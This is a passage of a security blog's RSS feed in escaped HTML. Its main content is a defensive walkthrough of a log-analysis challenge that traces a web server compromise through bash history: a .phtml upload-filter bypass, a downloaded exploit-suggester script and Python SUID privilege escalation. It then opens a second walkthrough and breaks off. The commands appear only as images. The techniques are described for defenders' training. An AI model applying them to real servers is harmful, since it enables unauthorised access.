href=&#34;https://reqbin.com/req/c-1n4ljxb9/curl-get-request-example&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://reqbin.com/req/c-1n4ljxb9/curl-get-request-example&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;JQ:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/jqlang/jq&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/jqlang/jq&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Blue Team Labs Online  — Log Analysis - Privilege Escalation Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/blue-team-labs-online-log-analysis-privilege-escalation-challenge-walkthrough/</link>
            <pubDate>Sun, 11 Aug 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/blue-team-labs-online-log-analysis-privilege-escalation-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-privilege-escalation-challenge-walkthrough/3af475c320acba85260c217ce4e9b230_MD5.png&#34; alt=&#34;Featured image of post Blue Team Labs Online  — Log Analysis - Privilege Escalation Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;blue-team-labs-onlinelog-analysis-privilege-escalation-challenge-walkthrough&#34;&gt;Blue Team Labs Online — Log Analysis— Privilege Escalation Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;analyzing-web-server-compromise-with-bash-history-logs-and-notepad&#34;&gt;Analyzing Web Server Compromise with Bash History Logs and Notepad++&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;3af475c320acba85260c217ce4e9b230_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;370px&#34; data-flex-grow=&#34;154&#34; height=&#34;518&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-privilege-escalation-challenge-walkthrough/3af475c320acba85260c217ce4e9b230_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Logo credit: &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/log-analysis-privilege-escalation-65ffe8df12&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to another weekly walkthrough! If you’ve ever been curious about investigating a compromised web server, you’ve stumbled on the right blog. This week, we’re tackling the &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/log-analysis-privilege-escalation-65ffe8df12&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Log Analysis — Privilege Escalation&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Team Labs Online&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This challenge is a digital forensics and incident response (&lt;em&gt;DFIR&lt;/em&gt;) exercise that has us defenders investigating a compromised web server using only the &lt;em&gt;bash history&lt;/em&gt; log file. To do the analysis, we’re leveraging the trusty &lt;em&gt;Notepad++&lt;/em&gt; to dissect the log file, uncover how the attacker compromised the server, how they escalated their privileges, and what tools they used to do it. Sounds like a fun time!&lt;/p&gt;&#xA;&lt;p&gt;Now let’s grab some yarn and unravel the mystery behind this breach and learn a little bit more about web server security along the way. Let’s get started — thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/log-analysis-privilege-escalation-65ffe8df12&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/home/challenge/log-analysis-privilege-escalation-65ffe8df12&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A server with sensitive data was accessed by an attacker and the files were posted on an underground forum. This data was only available to a privileged user, in this case the ‘root’ account. Responders say ‘www-data’ would be the logged in user if the server was remotely accessed, and this user doesn’t have access to the data. The developer stated that the server is hosting a PHP-based website and that proper filtering is in place to prevent php file uploads to gain malicious code execution. The bash history is provided to you but the recorded commands don’t appear to be related to the attack. Can you find what actually happened?&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-user-other-than-root-is-present-on-theserver&#34;&gt;Question 1: What user (other than ‘root’) is present on the server?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, let’s kick off this investigation! We’ll start by downloading the &lt;em&gt;bash history&lt;/em&gt; log file attached to the challenge. To begin our analysis, we’ll open the file in any plaintext editor to view the contents, for the examples in this blog, I will be using &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Notepad++&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Utilizing the log file, we’re going to locate the second user account on this server by looking for the presence of a &lt;em&gt;home&lt;/em&gt; directory. In &lt;em&gt;Linux,&lt;/em&gt; each user will have a separate &lt;em&gt;/home&lt;/em&gt; directory except for the &lt;em&gt;root&lt;/em&gt; account.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;44b518814fc6b26ded2bfe1b6d4e5a61_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;201px&#34; data-flex-grow=&#34;83&#34; height=&#34;406&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-privilege-escalation-challenge-walkthrough/44b518814fc6b26ded2bfe1b6d4e5a61_MD5.png&#34; width=&#34;341&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;On &lt;em&gt;line 21&lt;/em&gt; we’ll see a change directory (&lt;em&gt;cd&lt;/em&gt;) to &lt;em&gt;/home/daniel&lt;/em&gt;. Since Daniel has a &lt;em&gt;home&lt;/em&gt; directory, we’ve discovered the second user account!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f5a7c79eaaae116dd557aa31db485814_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2400px&#34; data-flex-grow=&#34;1000&#34; height=&#34;80&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-privilege-escalation-challenge-walkthrough/f5a7c79eaaae116dd557aa31db485814_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-script-did-the-attacker-try-to-download-to-theserver&#34;&gt;Question 2: What script did the attacker try to download to the server?&#xA;&lt;/h3&gt;&lt;p&gt;Let’s continue scrolling through the log to look for evidence of a file download.&lt;/p&gt;&#xA;&lt;p&gt;Eventually, we stumble across &lt;em&gt;line 32&lt;/em&gt; where we see some activity using &lt;em&gt;wget. Wget&lt;/em&gt; is a command-line utility used to retrieve files and content from the web — this seems promising! Let’s take a closer look at what was retrieved:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;68d53a59b3b3367cc9c0a34c3c8e3640_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;9142px&#34; data-flex-grow=&#34;3809&#34; height=&#34;21&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-privilege-escalation-challenge-walkthrough/68d53a59b3b3367cc9c0a34c3c8e3640_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The end of the URL path is a &lt;em&gt;shell script&lt;/em&gt; file “&lt;em&gt;linux-exploit-suggester.sh”&lt;/em&gt; retrieved from a &lt;em&gt;GitHub&lt;/em&gt; repository. Let’s get some background on this tool to determine if we found the correct answer. I’ll refer to the &lt;a class=&#34;link&#34; href=&#34;https://www.kali.org/tools/linux-exploit-suggester/#linux-exploit-suggester&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Kali Linux&lt;/em&gt;&lt;/a&gt; documentation that states that &lt;em&gt;linux-exploit-suggester&lt;/em&gt; is:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;a Linux privilege escalation auditing tool. It’s designed to assist in detecting security deficiencies for given Linux kernel/Linux-based machine.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Based on the description, this script could be useful for an attacker’s follow-on activities and confirms that we located the correct script to answer &lt;strong&gt;Question 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d5cf84f49d01e632f323e513b71ca26c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2370px&#34; data-flex-grow=&#34;987&#34; height=&#34;81&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-privilege-escalation-challenge-walkthrough/d5cf84f49d01e632f323e513b71ca26c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-packet-analyzer-tool-did-the-attacker-try-touse&#34;&gt;Question 3: What packet analyzer tool did the attacker try to use?&#xA;&lt;/h3&gt;&lt;p&gt;Continuing to scan through the log file, we’ll come across several lines (&lt;em&gt;41–47&lt;/em&gt;) listing network discovery commands — so we’re probably in the right spot to look for the answer to &lt;strong&gt;Question 3&lt;/strong&gt;. While searching for the packet analyzer the attacker used, there are two tool commands that stick out from the rest: &lt;em&gt;iptables&lt;/em&gt; and &lt;em&gt;tcpdump&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you haven’t encountered these utilities before, they are important to know in the context of this investigation so let’s get some quick background on both.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;iptables&lt;/strong&gt;&lt;em&gt;: iptables&lt;/em&gt; is a &lt;em&gt;Linux firewall application&lt;/em&gt; that is controlled through the command line and allows configuration of network traffic rules.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;2. &lt;strong&gt;tcpdump:&lt;/strong&gt; Quoting the &lt;a class=&#34;link&#34; href=&#34;https://www.kali.org/tools/tcpdump/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Kali Linux&lt;/em&gt;&lt;/a&gt; documentation:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This program allows you to dump the traffic on a network. tcpdump is able to examine IPv4, ICMPv4, IPv6, ICMPv6, UDP, TCP, SNMP, AFS BGP, RIP, PIM, DVMRP, IGMP, SMB, OSPF, NFS and many other packet types.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;229131e277c32ec25fe3d50990a96ace_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;661px&#34; data-flex-grow=&#34;275&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-privilege-escalation-challenge-walkthrough/229131e277c32ec25fe3d50990a96ace_MD5.png&#34; width=&#34;292&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, based on these tool descriptions, we know that &lt;em&gt;tcpdump&lt;/em&gt; is the packet analyzer we are looking for to answer &lt;strong&gt;Question 3&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f7c5d8ced55c4fffe2ace7eb92df6d90_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2400px&#34; data-flex-grow=&#34;1000&#34; height=&#34;80&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-privilege-escalation-challenge-walkthrough/f7c5d8ced55c4fffe2ace7eb92df6d90_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-file-extension-did-the-attacker-use-to-bypass-the-file-upload-filter-implemented-by-the-developer&#34;&gt;Question 4: What file extension did the attacker use to bypass the file upload filter implemented by the developer?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 4&lt;/strong&gt;, we’re going to search for the keyword “&lt;em&gt;uploads”&lt;/em&gt; to locate relevant log entries. Let’s focus on the last line of our log, &lt;em&gt;line 63&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b82090f73b7f0d60c967393b582a465e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;4034px&#34; data-flex-grow=&#34;1680&#34; height=&#34;21&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-privilege-escalation-challenge-walkthrough/b82090f73b7f0d60c967393b582a465e_MD5.png&#34; width=&#34;353&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, we don’t have any deeper visibility into the setup of the &lt;em&gt;PHP web server&lt;/em&gt; and how the developer implemented the file upload filter_,_ so we are going to have to rely on some context clues.&lt;/p&gt;&#xA;&lt;p&gt;Analyzing this command tells us that that the file &lt;em&gt;x.phtml&lt;/em&gt; was deleted (&lt;em&gt;rm&lt;/em&gt;) from the web server’s &lt;strong&gt;upload&lt;/strong&gt; directory. This might indicate that the attacker is deleting indicators of their intrusion (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1070/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MITRE ATT&amp;amp;CK T1070.004&lt;/em&gt;&lt;/a&gt;&lt;em&gt;)&lt;/em&gt; following a malicious file upload.&lt;/p&gt;&#xA;&lt;p&gt;Since there is evidence of file upload activity, the developer’s statement that “&lt;em&gt;proper filtering is in place to prevent php file uploads to gain malicious code execution&lt;/em&gt;” might not be accurate. From the evidence, we might assume that the developer only filtered the .&lt;em&gt;php&lt;/em&gt; file extension rather than also adding other &lt;a class=&#34;link&#34; href=&#34;https://simple.wikipedia.org/wiki/PHP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;standard PHP extensions&lt;/a&gt; like .&lt;em&gt;php3&lt;/em&gt; and .&lt;em&gt;phtml&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Putting our evidence together, we have the developer’s statement that some file upload validation in place, but we don’t know the full scope, we know there was a file uploaded to the web server with the .phtml extension, and the file was later removed. I think we have enough evidence to say with some confidence that the &lt;em&gt;.phtml&lt;/em&gt; file bypassed the upload filter.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2fd9416924fce362da43369f81fc147e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2341px&#34; data-flex-grow=&#34;975&#34; height=&#34;82&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-privilege-escalation-challenge-walkthrough/2fd9416924fce362da43369f81fc147e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-based-on-the-commands-run-by-the-attacker-before-removing-the-php-shell-what-misconfiguration-was-exploited-in-the-python-binary-to-gain-root-level-access-1--reverse-shell-2--file-upload-3--file-write-4--suid-5--libraryload&#34;&gt;Question 5: Based on the commands run by the attacker before removing the php shell, what misconfiguration was exploited in the ‘python’ binary to gain root-level access? 1- Reverse Shell ; 2- File Upload ; 3- File Write ; 4- SUID ; 5- Library load&#xA;&lt;/h3&gt;&lt;p&gt;To answer the final question, we’ll focus on the &lt;em&gt;Python&lt;/em&gt; activity that occurred before the last line we analyzed in the previous question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e89f066896ba131f0772ed47bc3f19f6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;6548px&#34; data-flex-grow=&#34;2728&#34; height=&#34;21&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-privilege-escalation-challenge-walkthrough/e89f066896ba131f0772ed47bc3f19f6_MD5.png&#34; width=&#34;573&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We know we are looking for some exploitation of the &lt;em&gt;Python&lt;/em&gt; binary, so let’s try to add some context about the command we see in &lt;em&gt;line 62&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we need to find some reference about abusing binaries on &lt;em&gt;Linux&lt;/em&gt; systems. Fortunately, the challenge provides a reference link to the &lt;em&gt;GTFOBins&lt;/em&gt; repository.&lt;/p&gt;&#xA;&lt;p&gt;So, what are &lt;a class=&#34;link&#34; href=&#34;https://gtfobins.github.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;GTFOBins&lt;/em&gt;&lt;/a&gt; and how can they help us solve this challenge?&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The project collects legitimate functions of Unix binaries that can be abused to get the f**k break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This sounds promising! Let’s review the repository and search for &lt;em&gt;Python.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://gtfobins.github.io/gtfobins/python/&#34;  title=&#34;https://gtfobins.github.io/gtfobins/python/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;python | GTFOBins&lt;/strong&gt;&#xA;_The payloads are compatible with both Python version 2 and 3. It can be used to break out from restricted environments…_gtfobins.github.io&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://gtfobins.github.io/gtfobins/python/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we have read the various payloads available, we will stumble across a &lt;em&gt;privilege escalation&lt;/em&gt; method using &lt;em&gt;Python&lt;/em&gt; which is achieved with the same command that we discovered in our &lt;em&gt;bash history&lt;/em&gt; log!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;57b968ca4186202d1f9ee7f5f707e98f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;741px&#34; data-flex-grow=&#34;308&#34; height=&#34;259&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-privilege-escalation-challenge-walkthrough/57b968ca4186202d1f9ee7f5f707e98f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since we have located the same commands in our log and have a documented method of &lt;em&gt;SUID&lt;/em&gt; bit privilege escalation, we have enough information to answer &lt;strong&gt;Question 5&lt;/strong&gt; and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f3f5e94cd45e781cd43b2e4899533aa6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1900px&#34; data-flex-grow=&#34;792&#34; height=&#34;101&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-privilege-escalation-challenge-walkthrough/f3f5e94cd45e781cd43b2e4899533aa6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;And there we have it! We’ve successfully navigated the &lt;em&gt;bash history&lt;/em&gt; log file to discover the details of the web server compromise. With the help of &lt;em&gt;Notepad++&lt;/em&gt; we identified the second user account on the system, the script the attacker downloaded, the tools they used, and their method for bypassing the file upload filter. With the objectives completed, let’s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/log-analysis-privilege-escalation-65ffe8df12&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Log Analysis — Privilege Escalation&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Team Labs Online&lt;/strong&gt;&lt;/a&gt; for another fun challenge! This challenge not only highlights the importance of thorough log analysis but also demonstrates the value of understanding attacker techniques to better defend our systems. While this challenge is geared toward beginners, the hands-on practice and critical thinking required to solve it is helpful for any skill level. Personally, I was really intrigued by the exploitation of &lt;em&gt;Python&lt;/em&gt; to achieve privilege escalation — very cool stuff!&lt;/p&gt;&#xA;&lt;p&gt;If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Notepad++:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://notepad-plus-plus.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Kali Linux Documentation (linux-exploit-suggester):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.kali.org/tools/linux-exploit-suggester/#linux-exploit-suggester&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;linux-exploit-suggester | Kali Linux Tools&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Kali Linux Documentation (tcpdump):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.kali.org/tools/tcpdump/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.kali.org/tools/tcpdump/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (Indicator Removal: File Deletion):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1070/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1070/004/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia (PHP):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://simple.wikipedia.org/wiki/PHP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://simple.wikipedia.org/wiki/PHP&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;GTFO Bins:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gtfobins.github.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gtfobins.github.io/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>TryHackMe  —  Boogeyman 1 Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/</link>
            <pubDate>Sun, 04 Aug 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/bbee23c622202d846d1494cceb99078e_MD5.png&#34; alt=&#34;Featured image of post TryHackMe  —  Boogeyman 1 Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;tryhackmeboogeyman-1-challenge-walkthrough&#34;&gt;TryHackMe — Boogeyman 1 Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;email-endpoint--network-forensic-investigation-using-thunderbird-lnkparse3-powershell-logs-jq--wireshark&#34;&gt;Email, Endpoint, &amp;amp; Network Forensic Investigation using Thunderbird, LNKParse3, PowerShell Logs, JQ, &amp;amp; Wireshark&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;bbee23c622202d846d1494cceb99078e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;394px&#34; data-flex-grow=&#34;164&#34; height=&#34;487&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/bbee23c622202d846d1494cceb99078e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/boogeyman1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/boogeyman1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Are you afraid of the Boogeyman?&lt;/p&gt;&#xA;&lt;p&gt;If not, welcome to my weekly walkthrough, you’ve stumbled on the right blog! This blog is a walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/boogeyman1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Boogeyman 1&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; and is the first in a series of capstone challenges for the &lt;em&gt;SOC Level 1&lt;/em&gt; path. This challenge is a multi-part digital forensics and incident response (&lt;em&gt;DFIR&lt;/em&gt;) investigation focusing on a fictional threat actor called the &lt;em&gt;Boogeyman.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;In this challenge, we will investigate email, endpoint, and network artifacts collected from a victim compromised by this new, shadowy threat actor. It is our job as security analysts to determine how the &lt;em&gt;Boogeyman&lt;/em&gt; got in, what they took, and how they did it. Doesn’t sound so scary, right?&lt;/p&gt;&#xA;&lt;p&gt;To unmask the &lt;em&gt;Boogeyman&lt;/em&gt;, we’ll utilize a few tools at different points in our investigation including &lt;em&gt;LNKParse3&lt;/em&gt;, &lt;em&gt;JQ&lt;/em&gt; to parse &lt;em&gt;JSON&lt;/em&gt; formatted &lt;em&gt;PowerShell&lt;/em&gt; logs, and &lt;em&gt;Wireshark&lt;/em&gt; for deep packet capture analysis.&lt;/p&gt;&#xA;&lt;p&gt;Now let’s grab our flashlights and shine a light on the &lt;em&gt;Boogeyman’s&lt;/em&gt; tactics, techniques, and procedures. I don’t want to ruin any of the fun, so this walkthrough will not contain spoilers, but please use this as a reference and enjoy! Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; 